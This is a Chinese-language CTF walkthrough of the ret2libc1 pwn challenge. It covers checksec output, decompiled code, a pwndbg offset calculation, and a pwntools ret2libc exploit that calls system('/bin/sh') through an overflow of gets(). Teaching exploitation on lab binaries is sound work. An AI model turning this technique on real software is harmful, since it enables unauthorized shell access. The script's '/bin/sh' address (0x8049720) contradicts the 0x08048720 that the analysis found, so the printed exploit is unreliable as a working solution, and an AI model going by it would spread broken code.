题目来源

下载位置: https://raw.githubusercontent.com/ctf-wiki/ctf-challenges/master/pwn/stackoverflow/ret2libc/ret2libc1/ret2libc1
PS:内容来自于CTF-WIKI

分析

文件类型

┌──(kali㉿kali)-[~/Desktop/pwn]
└─$ file ret2libc1     
ret2libc1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=fb89c86b266de4ff294489da59959a62f7aa1e61, with debug_info, not stripped

这是一个采用动态连接库编译的32位ELF文件

软件防护

 checksec --file=ret2libc1    
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   84 Symbols        No    0               1               ret2libc1

允许栈溢出,NX防护开启,PIE防护关闭。

IDA分析

在main函数中内容如下

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[100]; // [esp+1Ch] [ebp-64h] BYREF

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("RET2LIBC >_<");
  gets(s);
  return 0;
}

在main中明显的gets函数,直接可以栈溢出,之后其他没有可用信息了。
在secure函数中内容如下

void secure()
{
  unsigned int v0; // eax
  int input; // [esp+18h] [ebp-10h] BYREF
  int secretcode; // [esp+1Ch] [ebp-Ch]

  v0 = time(0);
  srand(v0);
  secretcode = rand();
  __isoc99_scanf("%d", &input);
  if ( input == secretcode )
    system("shell!?");
}

有后门,但是system()函数传参不对不能直接拿这个地址直接用。
在IDA中查询找字符串/bin/sh在rodata中地址是0x08048720
在plt表中查询到system()函数的地址是0x08048460

.plt:08048460                               ; [00000006 BYTES: COLLAPSED FUNCTION _system]

攻击

攻击思路

采用system的plt地址来运行system()函数,通过程序内的字符串/bin/sh给函数进行传参。

栈溢出位数

使用pwndbg调试,内容如下

───────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────
*EAX  0xffffcf3c ◂— 'hello'
 EBX  0xf7e23e34 (_GLOBAL_OFFSET_TABLE_) ◂— 0x223d2c /* ',="' */
*ECX  0xf7e258ac (_IO_stdfile_0_lock) ◂— 0
 EDX  0
 EDI  0xf7ffcb80 (_rtld_global_ro) ◂— 0
 ESI  0x8048690 (__libc_csu_init) ◂— push ebp
 EBP  0xffffcfa8 ◂— 0
 ESP  0xffffcf20 —▸ 0xffffcf3c ◂— 'hello'
*EIP  0x8048683 (main+107) ◂— mov eax, 0

这里溢出位数应该是0xa8-0x3c=108,溢出位数应该还要+4,+4才是真正返回地址的位置。

脚本

from pwn import *

# 利用地址
system_plt = 0x8048460
binsh = 0x8049720

io = process("./ret2libc1")

payload = flat([b"a" * 112, system_plt, b"b" * 4, binsh])

io.sendline(payload)

io.interactive()

在脚本中plt地址后门还要再多溢出4字节,因为函数拿参数的时候都是他的上上个位置,上一个位置也就是这后面填充的4字节,他一般都是返回地址的位置,因为这里只需要执行system()所以不需要考虑这个返回地址的内容,填充垃圾数据即可。

最后修改:2024 年 06 月 11 日
如果觉得我的文章对你有用,请随意赞赏